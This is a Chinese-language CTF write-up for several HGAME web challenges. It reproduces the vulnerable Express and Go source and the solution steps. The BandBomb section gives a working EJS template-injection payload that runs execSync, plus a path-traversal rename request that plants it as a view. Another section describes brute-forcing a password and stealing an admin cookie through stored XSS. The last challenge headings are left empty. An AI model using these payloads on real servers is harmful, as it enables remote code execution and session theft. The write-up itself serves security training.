0%

HCTF个人wp及总结

Web

Level 24 Pacman

题目描述:

不安全 | 正在勘探中 | 实体数量已知

你来到了一处似曾相识的场景,但你想不起来这是什么。 你头疼欲裂,想要找到一个出口,却发现前路上只有无尽的光点,还有看起来像是结束乐队的四个小不点,向你缓缓走来.

祝你好运,朋友。

你的目标是,在被他们抓住之前,收集一万枚金币,离开这个地方。
1. WASD或者上下左右均可以移动
2. SPACE键可以暂停游戏
3. 你有五次机会。在此之前,努力逃吧!
题目附件:无
做题流程:

在game.js代码中找到分数变量

1
_SCORE = 0x0;

然后在控制台中重新赋值超过10000,然后游戏结束即可得到:

1
haepaiemkspretgm{rtc_ae_efc}

随波逐流搜索hgame:

Level 47 BandBomb

题目描述:

不安全 | 正在勘探中 | 少量实体

两位不愿透露姓名的消息灵通人士为我们带来了关于 Level 47 的信息

Level 47 呈现为无限延伸的工业化档案库。

其钢架结构的天花板上悬挂着数以千计的荧光灯管,持续发出60赫兹的低频嗡鸣。空气中悬浮的灰尘在冷白光下清晰可见,混合着腐朽牛皮纸、油墨挥发物与某种类似海藻的腥涩气息。

所有文件柜均呈现被系统性清空的异常状态,抽屉内部仅残留着零星的纸纤维与无法辨识的碳化墨痕。

值得注意的是,约每间隔27米会出现一组保存完好的舞台人偶残骸,其肢体被琴弦缠绕,空洞的眼窝镶嵌着微型聚光灯。

这些残骸周围散落着乐谱碎片,经声谱分析显示其频率组合能诱发轻度谵妄。

入口清晰可见,出口亦然。文件室的“建立者”似乎只会饰演剧本,但是如此已然足够。

(文档最后附有手写批注:他们仍在演出,观众席永远空缺,舞台永不落幕。)

“我,毋畏死亡。“

“如今我成了Mortis,乐队的毁灭者”

题目附件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});

const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});

app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');

if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}

fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});

app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});

app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);

if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}

fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});

app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});
做题流程:

参考:

https://hackerpoet.com/index.php/archives/1157/

写index.ejs:

1
<%- global.process.mainModule.require('child_process').execSync('env') %>

然后用rename路由进行目录穿越,放到view目录下改名为:mortis.ejs

1
2
3
4
5
POST
http://node1.hgame.vidar.club:30373/rename

{"oldName": "../views/index.ejs", "newName": "../views/mortis.ejs"}
注:enctype设置为application/json

返回/即可看到env回显,搜索flag或hgame关键字即可。

Level 69 MysteryMessageBoard

题目描述:

在一个昏暗的空间里,存在着一块神秘的留言板,挂在虚拟墙壁上,仿佛可以窥见外界的光明。每一条信息都能带来不同的后果,但它们都被一个神秘的管理者所审视,这位管理者决定了谁能够通过这扇门,谁将永远被困在这片虚拟的牢笼中。

这块留言板被某种看不见的力量所控制,留言的内容似乎会触发某种仪式,每个输入的字符都充满了未知的能量。输入者的每一句话,都可能成为被审视的焦点,甚至引发一种奇异的变化,仿佛信息的力量能够改变现实,带着留言者穿越虚拟与真实的边界。

这块留言板上的秘密,正等待着被揭开

(容器内端口为8888)

题目附件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
package main

import (
"context"
"fmt"
"github.com/chromedp/chromedp"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"log"
"net/http"
"sync"
"time"
)

var (
store = sessions.NewCookieStore([]byte("fake_key"))
users = map[string]string{
"shallot": "fake_password",
"admin": "fake_password"}
comments []string
flag = "FLAG{this_is_a_fake_flag}"
lock sync.Mutex
)

func loginHandler(c *gin.Context) {
username := c.PostForm("username")
password := c.PostForm("password")
if storedPassword, ok := users[username]; ok && storedPassword == password {
session, _ := store.Get(c.Request, "session")
session.Values["username"] = username
session.Options = &sessions.Options{
Path: "/",
MaxAge: 3600,
HttpOnly: false,
Secure: false,
}
session.Save(c.Request, c.Writer)
c.String(http.StatusOK, "success")
return
}
log.Printf("Login failed for user: %s\n", username)
c.String(http.StatusUnauthorized, "error")
}
func logoutHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
delete(session.Values, "username")
session.Save(c.Request, c.Writer)
c.Redirect(http.StatusFound, "/login")
}
func indexHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
username, ok := session.Values["username"].(string)
if !ok {
log.Println("User not logged in, redirecting to login")
c.Redirect(http.StatusFound, "/login")
return
}
if c.Request.Method == http.MethodPost {
comment := c.PostForm("comment")
log.Printf("New comment submitted: %s\n", comment)
comments = append(comments, comment)
}
htmlContent := fmt.Sprintf(`<html>
<body>
<h1>留言板</h1>
<p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p>
<form method="post">
<textarea name="comment" required></textarea><br>
<input type="submit" value="提交评论">
</form>
<h3>留言:</h3>
<ul>`, username)
for _, comment := range comments {
htmlContent += "<li>" + comment + "</li>"
}
htmlContent += `</ul>
<p><a href="/logout">退出</a></p>
</body>
</html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
}
func adminHandler(c *gin.Context) {
htmlContent := `<html><body>
<p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p>
</body></html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
//无头浏览器模拟登录admin,并以admin身份访问/路由
go func() {
lock.Lock()
defer lock.Unlock()
ctx, cancel := chromedp.NewContext(context.Background())
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
if err := chromedp.Run(ctx, myTasks()); err != nil {
log.Println("Chromedp error:", err)
return
}
}()
}

// 无头浏览器操作
func myTasks() chromedp.Tasks {
return chromedp.Tasks{
chromedp.Navigate("/login"),
chromedp.WaitVisible(`input[name="username"]`),
chromedp.SendKeys(`input[name="username"]`, "admin"),
chromedp.SendKeys(`input[name="password"]`, "fake_password"),
chromedp.Click(`input[type="submit"]`),
chromedp.Navigate("/"),
chromedp.Sleep(5 * time.Second),
}
}

func flagHandler(c *gin.Context) {
log.Println("Handling flag request")
session, err := store.Get(c.Request, "session")
if err != nil {
c.String(http.StatusInternalServerError, "无法获取会话")
return
}
username, ok := session.Values["username"].(string)
if !ok || username != "admin" {
c.String(http.StatusForbidden, "只有admin才可以访问哦")
return
}
log.Println("Admin accessed the flag")
c.String(http.StatusOK, flag)
}
func main() {
r := gin.Default()
r.GET("/login", loginHandler)
r.POST("/login", loginHandler)
r.GET("/logout", logoutHandler)
r.GET("/", indexHandler)
r.GET("/admin", adminHandler)
r.GET("/flag", flagHandler)
log.Println("Server started at :8888")
log.Fatal(r.Run(":8888"))
}
做题流程:

爆破得到shallot的密码为888888

扫目录得知有:/admin路由

留言板想到打xss来获取admin的cookie,用的在线平台: XSS平台-XSS测试网站-仅用于安全免费测试

写xss,然后进入/admin,再返回/,再写,刷新即可获取admin的cookie,用其替换来访问/flag即可。

Level 38475 角落

题目描述:

这里被称为“角落(The Corner)”,仿佛是某个庞大迷宫中被遗漏的碎片。

墙壁上挂着一块破旧的留言板,四周弥漫着昏暗的光线和低沉的回响。

据说,这块留言板是通往外界的唯一线索,但它隐藏着一个不为人知的秘密——留言板的管理者会查看留言板上的信息,并决定谁有资格离开。

这里的实体似乎对留言板有着特殊的兴趣,它们会不断地在留言板上留下奇怪的符号或重复的单词,仿佛在进行某种神秘的仪式。

或许,可以通过这些仪式借助管理者的力量离开。

题目附件:无
做题流程:

Level 47 BandBomb

题目描述:
题目附件:无
做题流程: